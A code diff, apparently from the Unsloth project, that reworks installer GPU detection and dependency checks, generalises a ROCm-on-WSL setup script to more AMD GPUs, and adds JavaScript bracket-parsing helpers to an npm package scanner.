+# var, so the probes below cannot see the distinction on their own.
+_cvd_hides_nvidia() {
+    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
+    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
+    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
+}
+
+# ── NVIDIA usable-GPU helper ──
+# Returns 0 (true) if an NVIDIA GPU is present and usable.
+# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
+# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
+# -- handles PATH gaps, subprocess timeouts, and driver init races that
+# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
+# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
+# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
+_has_usable_nvidia_gpu() {
+    if _cvd_hides_nvidia; then
+        return 1
+    fi
+    _nvsmi=""
+    if command -v nvidia-smi >/dev/null 2>&1; then
+        _nvsmi="nvidia-smi"
+    elif [ -x "/usr/bin/nvidia-smi" ]; then
+        _nvsmi="/usr/bin/nvidia-smi"
+    fi
+    if [ -n "$_nvsmi" ]; then
+        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
+            return 0
+        fi
+    fi
+    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
+    if [ -d /proc/driver/nvidia/gpus ] && \
+       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
+        return 0
+    fi
+    return 1
+}
+
 # Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
 # with a 24.04 distro present, re-run the install there and stop; else fall through
 # to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
@@ -1449,7 +1568,15 @@ _maybe_reroute_strixhalo_to_2404() {
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
     [ -e /dev/dxg ] || return 0
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
+    # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
+    # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
+    if _has_usable_nvidia_gpu; then return 0; fi
+    # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     # Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
     if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
         return 0
@@ -1534,17 +1661,15 @@ _maybe_reroute_strixhalo_to_2404() {
 _maybe_reroute_strixhalo_to_2404 || true
 
 # ── Check system dependencies ──
-# cmake and git are needed by unsloth studio setup to build the GGUF inference
-# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux.
+# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a
+# prebuilt by default, and setup.sh self-skips the source build when they're
+# absent -- so macOS doesn't block on cmake (requiring it would force a manual
+# Homebrew install). Linux keeps requiring them; its package manager has them.
 tauri_log "STEP" "Checking system dependencies"
-MISSING=""
-
-command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
-command -v git   >/dev/null 2>&1 || MISSING="$MISSING git"
 
 case "$OS" in
     macos)
-        # Xcode Command Line Tools provide the C/C++ compiler
+        # Xcode Command Line Tools provide the C/C++ compiler and git.
         if ! xcode-select -p >/dev/null 2>&1; then
             echo ""
             echo "==> Xcode Command Line Tools are required."
@@ -1553,8 +1678,19 @@ case "$OS" in
             echo "    After the installation completes, please re-run this script."
             exit 1
         fi
+        # cmake is only needed for a source build; the default prebuilt path
+        # doesn't use it, so its absence is not fatal -- no Homebrew prerequisite.
+        if command -v cmake >/dev/null 2>&1; then
+            step "deps" "all system dependencies found"
+        else
+            step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN"
+            substep "Install cmake only if you want a source build: brew install cmake"
+        fi
         ;;
     linux|wsl)
+        MISSING=""
+        command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
+        command -v git   >/dev/null 2>&1 || MISSING="$MISSING git"
         # curl or wget is needed for downloads; check both
         if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then
             MISSING="$MISSING curl"
@@ -1562,27 +1698,12 @@ case "$OS" in
         command -v gcc  >/dev/null 2>&1 || MISSING="$MISSING build-essential"
         # libcurl dev headers for llama.cpp HTTPS support
         command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev"
-        ;;
-esac
 
-MISSING=$(echo "$MISSING" | sed 's/^ *//')
-
-if [ -n "$MISSING" ]; then
-    echo ""
-    step "deps" "missing: $MISSING" "$C_WARN"
-    substep "These are needed to build the GGUF inference engine."
-
-    case "$OS" in
-        macos)
-            if ! command -v brew >/dev/null 2>&1; then
-                echo ""
-                echo "    Homebrew is required to install them."
-                echo "    Install Homebrew from https://brew.sh then re-run this script."
-                exit 1
-            fi
-            brew install $MISSING </dev/null
-            ;;
-        linux|wsl)
+        MISSING=$(echo "$MISSING" | sed 's/^ *//')
+        if [ -n "$MISSING" ]; then
+            echo ""
+            step "deps" "missing: $MISSING" "$C_WARN"
+            substep "These are needed to build the GGUF inference engine."
             if command -v apt-get >/dev/null 2>&1; then
                 _smart_apt_install $MISSING
             else
@@ -1597,12 +1718,12 @@ if [ -n "$MISSING" ]; then
                 echo "      openSUSE:   sudo zypper install cmake git gcc gcc-c++ make libcurl-devel"
                 exit 1
             fi
-            ;;
-    esac
-    echo ""
-else
-    step "deps" "all system dependencies found"
-fi
+            echo ""
+        else
+            step "deps" "all system dependencies found"
+        fi
+        ;;
+esac
 
 # ── Install uv ──
 tauri_log "STEP" "Installing uv package manager"
@@ -1619,6 +1740,21 @@ export UV_HTTP_RETRIES
 : "${UV_HTTP_TIMEOUT:=180}"
 export UV_HTTP_TIMEOUT
 
+# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls.
+# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which
+# present their own CA certificate. rustls (uv's default) ignores the Keychain
+# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer".
+# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the
+# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already
+# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto
+# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0.
+if [ "$OS" = "macos" ]; then
+    : "${UV_SYSTEM_CERTS:=1}"
+    : "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}"
+fi
+[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS
+[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS
+
 version_ge() {
     # returns 0 if $1 >= $2
     _a=$1
@@ -1906,61 +2042,6 @@ _has_amd_rocm_gpu() {
     return 1
 }
 
-# ── Bounded command runner ──
-# Runs a command under a 10s timeout when the `timeout` binary is available,
-# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
-# driver init or after a reset) from hanging the installer: a timed-out probe
-# exits nonzero and is treated exactly like a failed probe. No-op semantics on
-# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
-_run_bounded() {
-    if command -v timeout >/dev/null 2>&1; then
-        timeout 10 "$@"
-    else
-        "$@"
-    fi
-}
-
-# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
-# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
-# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
-# var, so the probes below cannot see the distinction on their own.
-_cvd_hides_nvidia() {
-    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
-    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
-    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
-}
-
-# ── NVIDIA usable-GPU helper ──
-# Returns 0 (true) if an NVIDIA GPU is present and usable.
-# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
-# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
-# -- handles PATH gaps, subprocess timeouts, and driver init races that
-# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
-# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
-# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
-_has_usable_nvidia_gpu() {
-    if _cvd_hides_nvidia; then
-        return 1
-    fi
-    _nvsmi=""
-    if command -v nvidia-smi >/dev/null 2>&1; then
-        _nvsmi="nvidia-smi"
-    elif [ -x "/usr/bin/nvidia-smi" ]; then
-        _nvsmi="/usr/bin/nvidia-smi"
-    fi
-    if [ -n "$_nvsmi" ]; then
-        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
-            return 0
-        fi
-    fi
-    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
-    if [ -d /proc/driver/nvidia/gpus ] && \
-       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
-        return 0
-    fi
-    return 1
-}
-
 # ── Detect GPU and choose PyTorch index URL ──
 # Mirrors Get-TorchIndexUrl in install.ps1.
 # On CPU-only machines this returns the cpu index, avoiding the solver
@@ -2274,19 +2355,19 @@ _persist_rocm_wsl_dropin() {
     fi
 }
 
+# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
 _maybe_bootstrap_rocm_wsl() {
     [ "${OS:-}" = "wsl" ] || return 0
     [ "${SKIP_TORCH:-false}" = "false" ] || return 0
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
     if _has_usable_nvidia_gpu; then return 0; fi
-    # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
-    # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
-    # would skip this bootstrap while the real GPU is still unusable. awk consumes
-    # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
+    # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
+    # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
+    # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
     _ensure_rocm_probe_env
     if command -v rocminfo >/dev/null 2>&1 && \
-       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
+       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
         # rocminfo may work only via the transient env _ensure_rocm_probe_env
         # just set, which dies with the installer. Persist the drop-in so login
         # shells (Studio, llama.cpp) inherit it -- else a reinstall over an
@@ -2296,9 +2377,12 @@ _maybe_bootstrap_rocm_wsl() {
     fi
     # WSL GPU passthrough device must exist (present on any WSL2 GPU host).
     [ -e /dev/dxg ] || return 0
-    # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
-    # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
+    # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     command -v bash >/dev/null 2>&1 || return 0
 
     # Fast path: already configured (librocdxg present) but launched from a
@@ -2316,7 +2400,8 @@ _maybe_bootstrap_rocm_wsl() {
     fi
 
     echo ""
-    substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
+    _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
+    substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
     substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
     substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
 
@@ -2621,7 +2706,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2632,9 +2717,11 @@ if [ "$_MIGRATED" = true ]; then
             run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
     else
+        # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
+        # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2838,7 +2925,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2856,7 +2943,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2865,7 +2952,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
         run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth -- "$PACKAGE_NAME"
+            --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
     # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
@@ -2888,7 +2975,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2991,6 +3078,13 @@ _run_setup_with_studio_home() {
         "$@"
     fi
 }
+if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
+    if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
+        echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
+        exit 1
+    fi
+    _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
+fi
 if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     _run_setup_with_studio_home env \
     SKIP_STUDIO_BASE="$_SKIP_BASE" \
@@ -2999,6 +3093,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     STUDIO_LOCAL_INSTALL=1 \
     STUDIO_LOCAL_REPO="$_REPO_ROOT" \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 else
     # Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@@ -3013,6 +3108,7 @@ else
     STUDIO_LOCAL_INSTALL=0 \
     STUDIO_LOCAL_REPO= \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 fi
 
@@ -3160,6 +3256,7 @@ if [ -t 1 ]; then
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
+            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
             echo ""
             ;;
     esac
@@ -3181,5 +3278,6 @@ else
         substep "unsloth studio -p 8888"
     fi
     substep "(add -H 0.0.0.0 to allow network / cloud access)"
+    substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
     echo ""
 fi
diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh
index 5ef9ee386a..aa560fc432 100644
--- a/scripts/install_rocm_wsl_strixhalo.sh
+++ b/scripts/install_rocm_wsl_strixhalo.sh
@@ -3,13 +3,14 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
 # ──────────────────────────────────────────────────────────────────────────────
-# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
+# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
+# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
 # ──────────────────────────────────────────────────────────────────────────────
-# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
-# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
-# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
-# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
-# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
+# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
+# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
+# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
+# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
+# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
 #
 # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
 # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
@@ -34,10 +35,12 @@ set -euo pipefail
 
 # ── Tunables (override via env) ──────────────────────────────────────────────
 ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}"            # ROCm release to install
-GFX="gfx1151"
+# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
+# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
+GFX="${UNSLOTH_WSL_GFX:-}"
 LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}"    # ROCm/librocdxg git ref to build
-# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
-TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
+# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
+TORCH_INDEX=""
 # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
 # torch itself into the real venv right after, so a duplicate download is wasteful.
 SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
@@ -220,12 +223,12 @@ $SUDO ldconfig
 say "Persisting ROCm-on-WSL environment"
 _envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
 $SUDO tee "$_envfile" >/dev/null <<EOF
-# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
+# >>> Unsloth ROCm-on-WSL >>>
 export HSA_ENABLE_DXG_DETECTION=1
 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
 export PATH="${ROCM_DIR}/bin:\${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
-# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
+# <<< Unsloth ROCm-on-WSL <<<
 EOF
 # also drop into ~/.bashrc for interactive shells
 if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
@@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
 
 # ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
-say "Verifying rocminfo sees ${GFX}"
+say "Verifying rocminfo enumerates the GPU over DXG"
 # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
 # rocminfo on first match, which under `set -o pipefail` turns a successful match
-# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
-# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
+# into a pipeline failure.
 _rocminfo_out="$(rocminfo 2>/dev/null || true)"
-if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
+# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
+# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
+_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
+if [ -z "$_detected_gfx" ]; then
     printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
-    die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
+    die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
 fi
+# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
+# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
+if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
+    die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
+fi
+GFX="${GFX:-$_detected_gfx}"
 # Display-only summary: best-effort (|| true) so head's early pipe-close under
 # `set -o pipefail` can't fail the bootstrap after verification already passed.
 printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
 note "ROCm-on-WSL runtime is live for ${GFX}."
 
-# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
+# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
 if [ "$SMOKE_TEST" = "1" ]; then
     say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
+    # Map the detected arch to AMD's repo.amd.com wheel family index.
+    case "$GFX" in
+        gfx1200|gfx1201)                 _fam="gfx120X-all" ;;
+        gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
+        *)                               _fam="$GFX" ;;   # gfx1150/gfx1151/gfx90a: own index
+    esac
+    TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
     _venv="${HOME}/.unsloth/rocm-smoketest"
     rm -rf "$_venv"; python3 -m venv "$_venv"
     "$_venv/bin/pip" install --quiet --upgrade pip
-    # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
+    # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
     # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
     "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
         --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
         die "torch install from ${TORCH_INDEX} failed."
+    # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
+    _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
+    [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
     "$_venv/bin/python" - <<'PY'
 import torch
 ok = torch.cuda.is_available()
diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index c1d156d40a..47b85147ca 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -40,8 +40,10 @@ from __future__ import annotations
 import argparse
 import atexit
 import base64 as _b64  # imported only so the IOC string-scan can detect it
+import bisect
 import hashlib
 import io
+import itertools
 import json
 import os
 import re
@@ -897,20 +899,364 @@ def safe_extract(
 # ─────────────────────────────────────────────────────────────────────
 
 
+# How far back to look for an enclosing bracket opener. Symmetric with the
+# forward cap so a host that sits deep inside a large options object (its opening
+# `{` many properties above) still binds the whole object, not just its own line;
+# a too-far start only over-binds (more context, still fail-closed), never less.
+_MAX_CONT_LINES = 200
+# Hard cap on how far forward a bracket group is followed to its close, measured
+# from the matched line so the tail after the match is always reachable even when
+# the opener was found near the backward limit (digest input only, never
+# displayed); a realistic config object closes well within it.
+_MAX_GROUP_LINES = 200
+
+# JS string literal (single / double / template), blanked before counting
+# brackets so a bracket inside a string is not mistaken for code.
+_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
+
+
+_RE_BRACKETS = re.compile(r"[()\[\]{}]")
+_OPENERS = frozenset("([{")
+
+
+def _bracket_lr(line: str) -> tuple[int, int]:
+    """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
+    where ``L`` is the count of closers with no opener earlier on the line (they
+    need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
+    with no closer later on the line (they need a closer to the RIGHT / on a later
+    line). A plain net count (opens minus closes) collapses order and so masks a
+    trailing opener that follows leading closers on the same line, e.g.
+    ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
+    object; tracking the running minimum keeps that opener visible so the group
+    binds the path/headers that follow. Only bracket characters are walked (pulled
+    out with one C-level regex pass) so a long minified line stays cheap."""
+    depth = 0
+    low = 0
+    for ch in _RE_BRACKETS.findall(line):
+        if ch in _OPENERS:
+            depth += 1
+        else:
+            depth -= 1
+            if depth < low:
+                low = depth
+    return -low, depth - low
+
+
+def _find_unescaped(line: str, quote: str, start: int) -> int:
+    """Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
+    or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
+    i, n = start, len(line)
+    while i < n:
+        if line[i] == "\\":
+            i += 2
+            continue
+        if line[i] == quote:
+            return i
+        i += 1
+    return -1
+
+
+# A `/` is a regex literal (not division) when the previous significant character
+# is none (start) or one of these expression-position chars. Used only by the
+# multi-line blanked view, and the span is unioned with the single-line view, so
+# an over- or under-detection only ever grows the bound span (never shrinks it).
+_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
+
+
+def _blank_js_strings(lines: list[str]) -> list[str]:
+    """Replace string contents (single, double, multi-line backtick template
+    literals) AND regex literal bodies with spaces across ``lines``, keeping the
+    line count and every bracket OUTSIDE a string/regex intact, so bracket counting
+    never miscounts a ``)`` that lives inside a string -- including a template
